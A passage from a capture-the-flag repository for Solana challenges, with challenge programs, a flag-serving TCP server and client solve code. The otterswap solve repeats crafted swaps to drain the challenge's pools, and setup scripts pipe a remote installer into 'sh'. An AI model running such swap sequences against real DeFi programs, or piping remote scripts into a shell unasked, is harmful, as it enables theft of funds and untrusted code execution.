meta.is_signer { 65 | meta_str.push('s'); 66 | } 67 | meta_str.push(' '); 68 | meta_str.push_str(&meta.pubkey.to_string()); 69 | 70 | writeln!(stream, "{}", meta_str)?; 71 | stream.flush()?; 72 | } 73 | 74 | reader.read_line(&mut line)?; 75 | writeln!(stream, "{}", data.len())?; 76 | stream.write_all(&data)?; 77 | 78 | stream.flush()?; 79 | 80 | line.clear(); 81 | while reader.read_line(&mut line)? != 0 { 82 | print!("{}", line); 83 | line.clear(); 84 | } 85 | 86 | Ok(()) 87 | } 88 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | chall/target 3 | !chall/target/deploy 4 | chall/.anchor 5 | chall/node_modules 6 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program-test = "1.9.13" 10 | solana-program = "1.9.13" 11 | solana-logger = "1.9.13" 12 | solana-sdk = "1.9.13" 13 | spl-token = "3.3.0" 14 | chall = { path ="./chall/programs/chall", features = ["no-entrypoint"] } 15 | sol-ctf-framework = { git = "https://github.com/otter-sec/sol-ctf-framework", branch="rewrite-v2" } 16 | #sol-ctf-framework = { path="../../sol-ctf-framework" } 17 | threadpool = "1.8.1" 18 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | COPY chall ./chall 10 | 11 | RUN cargo build --release 12 | 13 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.10.32/install)" 14 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 15 | RUN cd chall && cargo build-bpf 16 | 17 | CMD [ "./target/release/framework" ] 18 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/chall/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/chall/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/chall/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | chall = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/chall/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/chall/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/chall/programs/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chall" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "chall" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/chall/programs/chall/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/chall/programs/chall/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use anchor_spl::token::{Mint, Token, TokenAccount, Transfer}; 3 | use anchor_spl::token; 4 | 5 | pub use anchor_lang; 6 | pub use anchor_spl; 7 | 8 | pub const FLAG_SEED: &[u8] = b"flag"; 9 | 10 | declare_id!("osecio1111111111111111111111111111111111112"); 11 | 12 | #[program] 13 | pub mod chall { 14 | use super::*; 15 | 16 | pub fn get_flag(_ctx: Context, magic: u64) -> Result<()> { 17 | assert!(magic == 0x1337 * 0x7331); 18 | 19 | Ok(()) 20 | } 21 | 22 | } 23 | 24 | #[derive(Accounts)] 25 | pub struct GetFlag<'info> { 26 | #[account( 27 | init, 28 | seeds = [ FLAG_SEED ], 29 | bump, 30 | payer = payer, 31 | space = 1000 32 | )] 33 | pub flag: Account<'info, Flag>, 34 | 35 | #[account(mut)] 36 | pub payer: Signer<'info>, 37 | pub system_program: Program<'info, System>, 38 | pub rent: Sysvar<'info, Rent>, 39 | } 40 | 41 | 42 | #[account] 43 | #[repr(C, align(8))] 44 | #[derive(Default)] 45 | pub struct Flag { 46 | } 47 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/chall/tests/chall.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Chall } from "../target/types/chall"; 4 | 5 | describe("chall", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Chall as Program; 10 | const authority = (program.provider as anchor.AnchorProvider).wallet; 11 | 12 | it("Is initialized!", async () => { 13 | // Add your test here. 14 | const counter = anchor.web3.Keypair.generate(); 15 | const tx = await program.methods.initialize() 16 | .accounts({ 17 | counter: counter.pubkey, 18 | authority: authority.pubkey 19 | }) 20 | .rpc(); 21 | console.log("Your transaction signature", tx); 22 | }); 23 | }); 24 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/chall/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /otter-world/test/client/framework/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::InstructionData; 2 | use chall::anchor_lang::ToAccountMetas; 3 | use chall::FLAG_SEED; 4 | use std::env; 5 | use std::io::Write; 6 | 7 | use sol_ctf_framework::ChallengeBuilder; 8 | 9 | use solana_sdk::compute_budget::ComputeBudgetInstruction; 10 | 11 | use solana_program::instruction::Instruction; 12 | use solana_program::system_instruction; 13 | use solana_program_test::tokio; 14 | use solana_sdk::pubkey::Pubkey; 15 | use solana_sdk::pubkey; 16 | use solana_sdk::signature::Signer; 17 | use solana_sdk::signer::keypair::Keypair; 18 | use std::error::Error; 19 | 20 | use std::net::{TcpListener, TcpStream}; 21 | 22 | #[tokio::main] 23 | async fn main() -> Result<(), Box> { 24 | let listener = TcpListener::bind("0.0.0.0:8080")?; 25 | 26 | println!("starting server at port 8080!"); 27 | 28 | for stream in listener.incoming() { 29 | let stream = stream.unwrap(); 30 | 31 | tokio::spawn(async { 32 | if let Err(err) = handle_connection(stream).await { 33 | println!("error: {:?}", err); 34 | } 35 | }); 36 | } 37 | Ok(()) 38 | } 39 | 40 | async fn handle_connection(mut socket: TcpStream) -> Result<(), Box> { 41 | let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); 42 | 43 | let chall_id = builder.add_program("./chall/target/deploy/chall.so", Some(chall::ID)); 44 | let solve_id = builder.input_program()?; 45 | 46 | let valid_pubkey = pubkey!("osecio1111111111111111111111111111111111111"); 47 | 48 | if solve_id != valid_pubkey { 49 | writeln!(socket, "bad pubkey, got: {} expected: {}", solve_id, valid_pubkey)?; 50 | return Ok(()); 51 | } 52 | 53 | let mut chall = builder.build().await; 54 | 55 | let user_keypair = Keypair::new(); 56 | let user = user_keypair.pubkey(); 57 | 58 | let payer_keypair = &chall.ctx.payer; 59 | let payer = payer_keypair.pubkey(); 60 | 61 | chall 62 | .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000)) 63 | .await?; 64 | 65 | writeln!(socket, "user: {}", user)?; 66 | 67 | let solve_ix = chall.read_instruction(solve_id)?; 68 | println!("{:?}", solve_ix); 69 | 70 | chall 71 | .run_ixs_full( 72 | &[solve_ix], 73 | &[&user_keypair], 74 | &user_keypair.pubkey(), 75 | ) 76 | .await?; 77 | 78 | let flag = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0; 79 | 80 | if let Some(_) = chall.ctx.banks_client.get_account(flag).await? { 81 | writeln!(socket, "congrats!")?; 82 | if let Ok(flag) = env::var("FLAG") { 83 | writeln!(socket, "flag: {:?}", flag)?; 84 | } else { 85 | writeln!(socket, "flag not found, please contact admin")?; 86 | } 87 | } 88 | 89 | Ok(()) 90 | } 91 | -------------------------------------------------------------------------------- /otter-world/test/client/run.sh: -------------------------------------------------------------------------------- 1 | cd framework-solve/solve && cargo build-bpf 2 | cd .. 3 | cargo r --release 4 | -------------------------------------------------------------------------------- /otter-world/test/client/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | curl https://run.osec.io/solana | sh 4 | -------------------------------------------------------------------------------- /otter-world/test/test.sh: -------------------------------------------------------------------------------- 1 | cd .. && tar hczvf chall.tar.gz client 2 | 3 | cd test 4 | cp ../chall.tar.gz . 5 | 6 | rm -rf client 7 | tar xf chall.tar.gz 8 | -------------------------------------------------------------------------------- /otterswap/chall.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chen-robert/paradigm-ctf-2022/38e98d94963d56b459efd96da163c17bd83dc131/otterswap/chall.tar.gz -------------------------------------------------------------------------------- /otterswap/clean.sh: -------------------------------------------------------------------------------- 1 | cd framework && cargo clean && cd chall && cargo clean && cd ../../framework-solve && cargo clean && cd solve && cargo clean && cd ../.. 2 | -------------------------------------------------------------------------------- /otterswap/client/framework: -------------------------------------------------------------------------------- 1 | ../framework -------------------------------------------------------------------------------- /otterswap/client/framework-solve/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "*" 10 | spl-token = "*" 11 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 12 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 13 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/solve/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/solve/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | use anchor_spl::token::{Token, TokenAccount}; 4 | 5 | declare_id!("osecio1111111111111111111111111111111111111"); 6 | 7 | #[program] 8 | pub mod solve { 9 | use super::*; 10 | 11 | pub fn initialize(ctx: Context) -> Result<()> { 12 | let cpi_accounts = chall::cpi::accounts::Swap { 13 | swap: ctx.accounts.swap.clone(), 14 | payer: ctx.accounts.payer.to_account_info(), 15 | pool_a: ctx.accounts.pool_a.to_account_info(), 16 | pool_b: ctx.accounts.pool_b.to_account_info(), 17 | 18 | user_in_account: ctx.accounts.user_in_account.to_account_info(), 19 | user_out_account: ctx.accounts.user_out_account.to_account_info(), 20 | 21 | token_program: ctx.accounts.token_program.to_account_info(), 22 | }; 23 | 24 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 25 | 26 | chall::cpi::swap(cpi_ctx, 10, true)?; 27 | 28 | Ok(()) 29 | } 30 | } 31 | 32 | #[derive(Accounts)] 33 | pub struct Initialize<'info> { 34 | pub swap: AccountInfo<'info>, 35 | #[account(mut)] 36 | pub pool_a: Account<'info, TokenAccount>, 37 | #[account(mut)] 38 | pub pool_b: Account<'info, TokenAccount>, 39 | 40 | #[account(mut)] 41 | pub user_in_account: Account<'info, TokenAccount>, 42 | #[account(mut)] 43 | pub user_out_account: Account<'info, TokenAccount>, 44 | 45 | #[account(mut)] 46 | pub payer: Signer<'info>, 47 | pub token_program: Program<'info, Token>, 48 | 49 | pub chall: Program<'info, chall::program::Chall> 50 | } 51 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /otterswap/client/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas}; 2 | use chall::{POOL_A_SEED, POOL_B_SEED, SWAP_SEED}; 3 | use solana_program::pubkey::Pubkey; 4 | use std::net::TcpStream; 5 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 6 | 7 | fn get_line(reader: &mut BufReader) -> Result> { 8 | let mut line = String::new(); 9 | reader.read_line(&mut line)?; 10 | 11 | let ret = line 12 | .split(':') 13 | .nth(1) 14 | .ok_or("invalid input")? 15 | .trim() 16 | .to_string(); 17 | 18 | Ok(ret) 19 | } 20 | 21 | fn main() -> Result<(), Box> { 22 | let mut stream = TcpStream::connect("127.0.0.1:8080")?; 23 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 24 | 25 | let mut line = String::new(); 26 | 27 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 28 | 29 | reader.read_line(&mut line)?; 30 | writeln!(stream, "{}", solve::ID)?; 31 | reader.read_line(&mut line)?; 32 | writeln!(stream, "{}", so_data.len())?; 33 | stream.write_all(&so_data)?; 34 | 35 | let chall_id = chall::ID; 36 | 37 | let payer = Pubkey::from_str(&get_line(&mut reader)?)?; 38 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 39 | let _mint_a = Pubkey::from_str(&get_line(&mut reader)?)?; 40 | let _mint_b = Pubkey::from_str(&get_line(&mut reader)?)?; 41 | let user_in_account = Pubkey::from_str(&get_line(&mut reader)?)?; 42 | let user_out_account = Pubkey::from_str(&get_line(&mut reader)?)?; 43 | 44 | let ix = solve::instruction::Initialize {}; 45 | let data = ix.data(); 46 | 47 | let swap = Pubkey::find_program_address(&[SWAP_SEED, payer.as_ref()], &chall_id).0; 48 | let pool_a = Pubkey::find_program_address(&[POOL_A_SEED, swap.as_ref()], &chall_id).0; 49 | let pool_b = Pubkey::find_program_address(&[POOL_B_SEED, swap.as_ref()], &chall_id).0; 50 | 51 | let ix_accounts = solve::accounts::Initialize { 52 | swap, 53 | pool_a, 54 | pool_b, 55 | user_in_account, 56 | user_out_account, 57 | payer: user, 58 | token_program: spl_token::ID, 59 | chall: chall_id, 60 | }; 61 | 62 | let metas = ix_accounts.to_account_metas(None); 63 | 64 | reader.read_line(&mut line)?; 65 | writeln!(stream, "{}", metas.len())?; 66 | for meta in metas { 67 | let mut meta_str = String::new(); 68 | meta_str.push('m'); 69 | if meta.is_writable { 70 | meta_str.push('w'); 71 | } 72 | if meta.is_signer { 73 | meta_str.push('s'); 74 | } 75 | meta_str.push(' '); 76 | meta_str.push_str(&meta.pubkey.to_string()); 77 | 78 | writeln!(stream, "{}", meta_str)?; 79 | stream.flush()?; 80 | } 81 | 82 | reader.read_line(&mut line)?; 83 | writeln!(stream, "{}", data.len())?; 84 | stream.write_all(&data)?; 85 | 86 | stream.flush()?; 87 | 88 | line.clear(); 89 | while reader.read_line(&mut line)? != 0 { 90 | print!("{}", line); 91 | line.clear(); 92 | } 93 | 94 | Ok(()) 95 | } 96 | -------------------------------------------------------------------------------- /otterswap/client/run.sh: -------------------------------------------------------------------------------- 1 | cd framework-solve/solve && cargo build-bpf 2 | cd .. 3 | cargo r --release 4 | -------------------------------------------------------------------------------- /otterswap/client/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | curl https://run.osec.io/solana | sh 4 | -------------------------------------------------------------------------------- /otterswap/framework-solve/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /otterswap/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "*" 10 | spl-token = "*" 11 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 12 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 13 | -------------------------------------------------------------------------------- /otterswap/framework-solve/solve/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /otterswap/framework-solve/solve/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /otterswap/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /otterswap/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /otterswap/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /otterswap/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /otterswap/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- /otterswap/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /otterswap/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | use anchor_spl::token::{Token, TokenAccount}; 4 | 5 | declare_id!("osecio1111111111111111111111111111111111111"); 6 | 7 | #[program] 8 | pub mod solve { 9 | use super::*; 10 | 11 | pub fn initialize(ctx: Context) -> Result<()> { 12 | let vals = [-7, -1, -1, -1, 4, -13, -1, 1]; 13 | 14 | for val in vals { 15 | let val: i64 = val; 16 | let cpi_accounts = chall::cpi::accounts::Swap { 17 | swap: ctx.accounts.swap.clone(), 18 | payer: ctx.accounts.payer.to_account_info(), 19 | pool_a: ctx.accounts.pool_a.to_account_info(), 20 | pool_b: ctx.accounts.pool_b.to_account_info(), 21 | 22 | user_in_account: ctx.accounts.user_in_account.to_account_info(), 23 | user_out_account: ctx.accounts.user_out_account.to_account_info(), 24 | 25 | token_program: ctx.accounts.token_program.to_account_info(), 26 | }; 27 | 28 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 29 | 30 | let cpi_accounts2 = chall::cpi::accounts::Swap { 31 | swap: ctx.accounts.swap.clone(), 32 | payer: ctx.accounts.payer.to_account_info(), 33 | pool_a: ctx.accounts.pool_a.to_account_info(), 34 | pool_b: ctx.accounts.pool_b.to_account_info(), 35 | 36 | user_in_account: ctx.accounts.user_out_account.to_account_info(), 37 | user_out_account: ctx.accounts.user_in_account.to_account_info(), 38 | 39 | token_program: ctx.accounts.token_program.to_account_info(), 40 | }; 41 | 42 | let cpi_ctx2 = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts2); 43 | 44 | let dir = val < 0; 45 | let amt: u64 = val.abs().try_into().unwrap(); 46 | 47 | chall::cpi::swap(if dir { cpi_ctx } else { cpi_ctx2 }, amt, dir)?; 48 | } 49 | 50 | Ok(()) 51 | } 52 | } 53 | 54 | #[derive(Accounts)] 55 | pub struct Initialize<'info> { 56 | pub swap: AccountInfo<'info>, 57 | #[account(mut)] 58 | pub pool_a: Account<'info, TokenAccount>, 59 | #[account(mut)] 60 | pub pool_b: Account<'info, TokenAccount>, 61 | 62 | #[account(mut)] 63 | pub user_in_account: Account<'info, TokenAccount>, 64 | #[account(mut)] 65 | pub user_out_account: Account<'info, TokenAccount>, 66 | 67 | #[account(mut)] 68 | pub payer: Signer<'info>, 69 | pub token_program: Program<'info, Token>, 70 | 71 | pub chall: Program<'info, chall::program::Chall> 72 | } 73 | -------------------------------------------------------------------------------- /otterswap/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /otterswap/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /otterswap/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas}; 2 | use chall::{POOL_A_SEED, POOL_B_SEED, SWAP_SEED}; 3 | use solana_program::pubkey::Pubkey; 4 | use std::net::TcpStream; 5 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 6 | 7 | fn get_line(reader: &mut BufReader) -> Result> { 8 | let mut line = String::new(); 9 | reader.read_line(&mut line)?; 10 